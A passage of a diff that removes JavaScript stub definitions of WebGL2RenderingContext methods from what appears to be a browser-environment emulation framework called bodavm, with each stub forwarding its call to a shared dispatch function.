-bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSamplerParameter", {configurable:true, enumerable:true, writable:true, value:function getSamplerParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSamplerParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderInfoLog", {configurable:true, enumerable:true, writable:true, value:function getShaderInfoLog (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderInfoLog", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderParameter", {configurable:true, enumerable:true, writable:true, value:function getShaderParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderPrecisionFormat", {configurable:true, enumerable:true, writable:true, value:function getShaderPrecisionFormat (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderPrecisionFormat", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getShaderSource", {configurable:true, enumerable:true, writable:true, value:function getShaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getShaderSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSupportedExtensions", {configurable:true, enumerable:true, writable:true, value:function getSupportedExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSupportedExtensions", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getSyncParameter", {configurable:true, enumerable:true, writable:true, value:function getSyncParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getSyncParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getTexParameter", {configurable:true, enumerable:true, writable:true, value:function getTexParameter (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getTexParameter", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getTransformFeedbackVarying", {configurable:true, enumerable:true, writable:true, value:function getTransformFeedbackVarying (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getTransformFeedbackVarying", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniform", {configurable:true, enumerable:true, writable:true, value:function getUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformBlockIndex", {configurable:true, enumerable:true, writable:true, value:function getUniformBlockIndex (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformBlockIndex", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformIndices", {configurable:true, enumerable:true, writable:true, value:function getUniformIndices (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformIndices", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getUniformLocation", {configurable:true, enumerable:true, writable:true, value:function getUniformLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getUniformLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getVertexAttrib", {configurable:true, enumerable:true, writable:true, value:function getVertexAttrib (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getVertexAttrib", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "getVertexAttribOffset", {configurable:true, enumerable:true, writable:true, value:function getVertexAttribOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "getVertexAttribOffset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "hint", {configurable:true, enumerable:true, writable:true, value:function hint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "hint", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "invalidateFramebuffer", {configurable:true, enumerable:true, writable:true, value:function invalidateFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "invalidateFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "invalidateSubFramebuffer", {configurable:true, enumerable:true, writable:true, value:function invalidateSubFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "invalidateSubFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isBuffer", {configurable:true, enumerable:true, writable:true, value:function isBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isContextLost", {configurable:true, enumerable:true, writable:true, value:function isContextLost (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isContextLost", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isEnabled", {configurable:true, enumerable:true, writable:true, value:function isEnabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isEnabled", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isFramebuffer", {configurable:true, enumerable:true, writable:true, value:function isFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isProgram", {configurable:true, enumerable:true, writable:true, value:function isProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isQuery", {configurable:true, enumerable:true, writable:true, value:function isQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function isRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isSampler", {configurable:true, enumerable:true, writable:true, value:function isSampler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isSampler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isShader", {configurable:true, enumerable:true, writable:true, value:function isShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isSync", {configurable:true, enumerable:true, writable:true, value:function isSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isTexture", {configurable:true, enumerable:true, writable:true, value:function isTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function isTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "isVertexArray", {configurable:true, enumerable:true, writable:true, value:function isVertexArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "isVertexArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "lineWidth", {configurable:true, enumerable:true, writable:true, value:function lineWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "lineWidth", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "linkProgram", {configurable:true, enumerable:true, writable:true, value:function linkProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "linkProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "pauseTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function pauseTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "pauseTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "pixelStorei", {configurable:true, enumerable:true, writable:true, value:function pixelStorei (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "pixelStorei", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "polygonOffset", {configurable:true, enumerable:true, writable:true, value:function polygonOffset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "polygonOffset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "readBuffer", {configurable:true, enumerable:true, writable:true, value:function readBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "readBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "readPixels", {configurable:true, enumerable:true, writable:true, value:function readPixels (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "readPixels", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "renderbufferStorage", {configurable:true, enumerable:true, writable:true, value:function renderbufferStorage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "renderbufferStorage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "renderbufferStorageMultisample", {configurable:true, enumerable:true, writable:true, value:function renderbufferStorageMultisample (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "renderbufferStorageMultisample", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "resumeTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function resumeTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "resumeTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "sampleCoverage", {configurable:true, enumerable:true, writable:true, value:function sampleCoverage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "sampleCoverage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "samplerParameterf", {configurable:true, enumerable:true, writable:true, value:function samplerParameterf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "samplerParameterf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "samplerParameteri", {configurable:true, enumerable:true, writable:true, value:function samplerParameteri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "samplerParameteri", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "shaderSource", {configurable:true, enumerable:true, writable:true, value:function shaderSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "shaderSource", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilFunc", {configurable:true, enumerable:true, writable:true, value:function stencilFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilFuncSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilMask", {configurable:true, enumerable:true, writable:true, value:function stencilMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilMaskSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilMaskSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilMaskSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilOp", {configurable:true, enumerable:true, writable:true, value:function stencilOp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilOp", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "stencilOpSeparate", {configurable:true, enumerable:true, writable:true, value:function stencilOpSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "stencilOpSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texImage2D", {configurable:true, enumerable:true, writable:true, value:function texImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texImage3D", {configurable:true, enumerable:true, writable:true, value:function texImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texParameterf", {configurable:true, enumerable:true, writable:true, value:function texParameterf (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texParameterf", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texParameteri", {configurable:true, enumerable:true, writable:true, value:function texParameteri (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texParameteri", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texStorage2D", {configurable:true, enumerable:true, writable:true, value:function texStorage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texStorage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texStorage3D", {configurable:true, enumerable:true, writable:true, value:function texStorage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texStorage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texSubImage2D", {configurable:true, enumerable:true, writable:true, value:function texSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "texSubImage3D", {configurable:true, enumerable:true, writable:true, value:function texSubImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "texSubImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "transformFeedbackVaryings", {configurable:true, enumerable:true, writable:true, value:function transformFeedbackVaryings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "transformFeedbackVaryings", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1ui", {configurable:true, enumerable:true, writable:true, value:function uniform1ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2ui", {configurable:true, enumerable:true, writable:true, value:function uniform2ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform3ui", {configurable:true, enumerable:true, writable:true, value:function uniform3ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform3ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform4ui", {configurable:true, enumerable:true, writable:true, value:function uniform4ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform4ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniformBlockBinding", {configurable:true, enumerable:true, writable:true, value:function uniformBlockBinding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniformBlockBinding", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "useProgram", {configurable:true, enumerable:true, writable:true, value:function useProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "useProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "validateProgram", {configurable:true, enumerable:true, writable:true, value:function validateProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "validateProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribDivisor", {configurable:true, enumerable:true, writable:true, value:function vertexAttribDivisor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribDivisor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4i", {configurable:true, enumerable:true, writable:true, value:function vertexAttribI4i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribI4ui", {configurable:true, enumerable:true, writable:true, value:function vertexAttribI4ui (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribI4ui", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "vertexAttribIPointer", {configurable:true, enumerable:true, writable:true, value:function vertexAttribIPointer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "vertexAttribIPointer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "waitSync", {configurable:true, enumerable:true, writable:true, value:function waitSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "waitSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBuffer", {configurable:true, enumerable:true, writable:true, value:function bindBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindFramebuffer", {configurable:true, enumerable:true, writable:true, value:function bindFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindTexture", {configurable:true, enumerable:true, writable:true, value:function bindTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferfi", {configurable:true, enumerable:true, writable:true, value:function clearBufferfi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferfi", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferfv", {configurable:true, enumerable:true, writable:true, value:function clearBufferfv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferfv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferiv", {configurable:true, enumerable:true, writable:true, value:function clearBufferiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearBufferuiv", {configurable:true, enumerable:true, writable:true, value:function clearBufferuiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearBufferuiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearColor", {configurable:true, enumerable:true, writable:true, value:function clearColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearColor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearDepth", {configurable:true, enumerable:true, writable:true, value:function clearDepth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearDepth", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clearStencil", {configurable:true, enumerable:true, writable:true, value:function clearStencil (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clearStencil", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "colorMask", {configurable:true, enumerable:true, writable:true, value:function colorMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "colorMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "disableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function disableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "disableVertexAttribArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawArrays", {configurable:true, enumerable:true, writable:true, value:function drawArrays (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawArrays", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawBuffers", {configurable:true, enumerable:true, writable:true, value:function drawBuffers (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawBuffers", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "drawElements", {configurable:true, enumerable:true, writable:true, value:function drawElements (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "drawElements", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "enableVertexAttribArray", {configurable:true, enumerable:true, writable:true, value:function enableVertexAttribArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "enableVertexAttribArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "scissor", {configurable:true, enumerable:true, writable:true, value:function scissor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "scissor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1f", {configurable:true, enumerable:true, writable:true, value:function uniform1f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1fv", {configurable:true, enumerable:true, writable:true, value:function uniform1fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1i", {configurable:true, enumerable:true, writable:true, value:function uniform1i (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1i", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1iv", {configurable:true, enumerable:true, writable:true, value:function uniform1iv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1iv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform1uiv", {configurable:true, enumerable:true, writable:true, value:function uniform1uiv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform1uiv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2f", {configurable:true, enumerable:true, writable:true, value:function uniform2f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2f", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2fv", {configurable:true, enumerable:true, writable:true, value:function uniform2fv (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "uniform2fv", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "uniform2i", {configurable:true, enumerable:true, writable:true, value:function uniform2i (){return 